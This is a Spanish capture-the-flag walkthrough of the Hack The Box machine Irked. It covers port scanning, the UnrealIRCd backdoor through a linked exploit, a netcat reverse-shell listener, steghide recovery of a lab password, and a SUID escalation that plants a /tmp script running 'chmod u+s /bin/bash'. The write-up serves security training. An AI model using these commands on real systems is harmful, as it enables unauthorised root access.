Irked

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 17 Noviembre 2018 | MrAgent |
Resumen
En este post, estaremos resolviendo la máquina Irked de la plataforma HTB. En primer lugar, explotaremos el servicio de IRC mediante una inyección de comandos para ganar acceso al sistema. Al enumerar el sistema, encontramos una contraseña y una pista relacionada con esteganografía, la cual utilizaremos para extraer otra contraseña que nos dara acceso a otro usuario. Finalmente, para escalar nuestros privilegios, encontramos un binario con permisos SUID que intenta ejecutar un script inexistente desde /tmp.
Reconocimiento
Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
❯ nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.117 -oG open_ports -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 13:01 EDT
Initiating SYN Stealth Scan at 13:01
Scanning 10.10.10.117 [65535 ports]
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 51659/tcp on 10.10.10.117
Completed SYN Stealth Scan at 13:02, 14.49s elapsed (65535 total ports)
Nmap scan report for 10.10.10.117
Host is up, received user-set (0.18s latency).
Scanned at 2024-07-07 13:01:48 EDT for 14s
Not shown: 65036 closed tcp ports (reset), 492 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
6697/tcp open ircs-u syn-ack ttl 63
8067/tcp open infi-async syn-ack ttl 63
51659/tcp open unknown syn-ack ttl 63
65534/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.56 seconds
Raw packets sent: 71000 (3.124MB) | Rcvd: 67507 (2.701MB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
> nmap -sCV -p 10.10.10.117 -oN service_scan -vvv
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-07 13:03 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
Initiating Ping Scan at 13:03
Scanning 10.10.10.117 [4 ports]
Completed Ping Scan at 13:03, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:03
Completed Parallel DNS resolution of 1 host. at 13:03, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:03
Scanning 10.10.10.117 (10.10.10.117) [7 ports]
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
Discovered open port 51659/tcp on 10.10.10.117
Completed SYN Stealth Scan at 13:03, 0.18s elapsed (7 total ports)
Initiating Service scan at 13:03
Scanning 7 services on 10.10.10.117 (10.10.10.117)
Completed Service scan at 13:03, 13.77s elapsed (7 services on 1 host)
NSE: Script scanning 10.10.10.117.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 4.87s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 1.24s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:03
Completed NSE at 13:03, 0.00s elapsed
# Nmap 7.94SVN scan initiated Sun Jul 7 13:03:15 2024 as: nmap -sCV -p22,80,111,6697,8067,51659,65534 -oN service_scan -vvv 10.10.10.117
Nmap scan report for 10.10.10.117 (10.10.10.117)
Host is up, received echo-reply ttl 63 (0.15s latency).
Scanned at 2024-07-07 13:03:16 EDT for 20s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI+wKAAyWgx/P7Pe78y6/80XVTd6QEv6t5ZIpdzKvS8qbkChLB7LC+/HVuxLshOUtac4oHr/IF9YBytBoaAte87fxF45o3HS9MflMA4511KTeNwc5QuhdHzqXX9ne0ypBAgFKECBUJqJ23Lp2S9KuYEYLzUhSdUEYqiZlcc65NspAAAAFQDwgf5Wh8QRu3zSvOIXTk+5g0eTKQAAAIBQuTzKnX3nNfflt++gnjAJ/dIRXW/KMPTNOSo730gLxMWVeId3geXDkiNCD/zo5XgMIQAWDXS+0t0hlsH1BfrDzeEbGSgYNpXoz42RSHKtx7pYLG/hbUr4836olHrxLkjXCFuYFo9fCDs2/QsAeuhCPgEDjLXItW9ibfFqLxyP2QAAAIAE5MCdrGmT8huPIxPI+bQWeQyKQI/lH32FDZb4xJBPrrqlk9wKWOa1fU2JZM0nrOkdnCPIjLeq9+Db5WyZU2u3rdU8aWLZy8zF9mXZxuW/T3yXAV5whYa4QwqaVaiEzjcgRouex0ev/u+y5vlIf4/SfAsiFQPzYKomDiBtByS9XA==
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDGASnp9kH4PwWZHx/V3aJjxLzjpiqc2FOyppTFp7/JFKcB9otDhh5kWgSrVDVijdsK95KcsEKC/R+HJ9/P0KPdf4hDvjJXB1H3Th5/83gy/TEJTDJG16zXtyR9lPdBYg4n5hhfFWO1PxM9m41XlEuNgiSYOr+uuEeLxzJb6ccq0VMnSvBd88FGnwpEoH1JYZyyTnnbwtBrXSz1tR5ZocJXU4DmI9pzTNkGFT+Q/K6V/sdF73KmMecatgcprIENgmVSaiKh9mb+4vEfWLIe0yZ97c2EdzF5255BalP3xHFAY0jROiBnUDSDlxyWMIcSymZPuE1N6Tu8nQ/pXxKvUar
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFeZigS1PimiXXJSqDy2KTT4UEEphoLAk8/ftEXUq0ihDOFDrpgT0Y4vYgYPXboLlPBKBc0nVBmKD+6pvSwIEy8=
| 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC6m+0iYo68rwVQDYDejkVvsvg22D8MN+bNWMUEOWrhj
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 41308/tcp6 status
| 100024 1 43353/udp status
| 100024 1 49684/udp6 status
|_ 100024 1 51659/tcp status
6697/tcp open irc syn-ack ttl 63 UnrealIRCd
8067/tcp open irc syn-ack ttl 63 UnrealIRCd
51659/tcp open status syn-ack ttl 63 1 (RPC #100024)
65534/tcp open irc syn-ack ttl 63 UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 7 13:03:36 2024 -- 1 IP address (1 host up) scanned in 20.53 seconds
Enumeración de servicios
Explotación inicial
Servicio IRC
El servicio IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real que permite a los usuarios chatear en canales públicos y privados. Es uno de los primeros protocolos de chat en línea y todavía es utilizado por diversas comunidades para la comunicación en grupo.
Para interactuar con un servidor IRC usando
nc
(netcat), sigue estos pasos:
Unreal es un servidor de IRC (Internet Relay Chat) de código abierto. Se utiliza para crear y gestionar redes de chat en tiempo real. UnrealIRCd es conocido por su flexibilidad, seguridad y capacidad de configuración, ofreciendo una amplia variedad de características para administradores y usuarios de IRC.
Vemos que la versión que se esta ejecutando es la Unreal3.2.8.1.
.
Si hacemos una búsqueda rápida en Google, vemos que existe una vulnerabilidad de Backdoor Command Execution en esta versión.
https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor
Modificamos el exploit indicando nuestra ip y el puerto en el cual vamos a recibir la reverse shell.
Nos ponemos en escucha por el puerto 443.
nc -lnvp 443
Ejecutamos el exploit.
Ganamos acceso al sistema.
Enumeración / Movimiento lateral
Si realizamos una enumeración básica, encontramos un archivo .backup
bajo el directorio Documents del usuario djmardov
.
Podemos utilizar esta contraseña UPupDOWNdownLRlrBAbaSSss
para aplicar una técnica conocida como esteganografía en la imágen presente en la web.
Esteganografía
Descargamos la imágen de la web a nuestra máquina atacante.
> wget http://irked.htb/irked.jpg
❯ steghide --extract -sf irked.jpg
Enter passphrase:
wrote extracted data to "pass.txt".
La esteganografía es una técnica de ocultamiento de información que se remonta a la antigüedad. A diferencia de la criptografía, que se enfoca en encriptar el contenido para hacerlo ilegible, la esteganografía se centra en ocultar la existencia misma del mensaje. El objetivo es que un observador no autorizado no pueda detectar la presencia del mensaje oculto.
En la esteganografía digital, se oculta la información dentro de archivos digitales, como imágenes, audio o video, de manera que parezcan normales a simple vista. Este ocultamiento se logra mediante técnicas como la modificación del bit menos significativo en los archivos de imagen, la ocultación de datos en el espacio de color de una imagen o la inserción de información en el espectro de frecuencia de archivos de audio.
Esta técnica se utiliza en diversos ámbitos, desde la seguridad informática, donde se puede emplear para enviar mensajes secretos, hasta en la protección de derechos de autor y marcas de agua digitales. Sin embargo, también puede ser utilizada con propósitos maliciosos, como el espionaje cibernético o la distribución de contenido ilegal.
djmardov:Kab6h+m+bbp2J:HG
Nos conectamos por ssh con el usuario djmardov
utilizando esta contraseña.
Leemos la flag de user.txt
Elevación de privilegios
Si enumeramos binarios SUID encontramos uno de ellos que nos llama la atención.
Probamos ejecutarlo y obtenemos lo siguiente:
Vemos que esta intentando ejecutar con sh un script bajo la ruta /tmp
el cual no existe.
Creamos el script listusers
con el siguiente contenido:
echo 'chmod u+s /bin/bash' > listusers
chmod +x listusers
Y ejecutamos el binario nuevamente.
Ahora si hacemos un bash -p
logramos acceder como root y escalando nuestros privilegios.
Leemos la flag de root.xt
.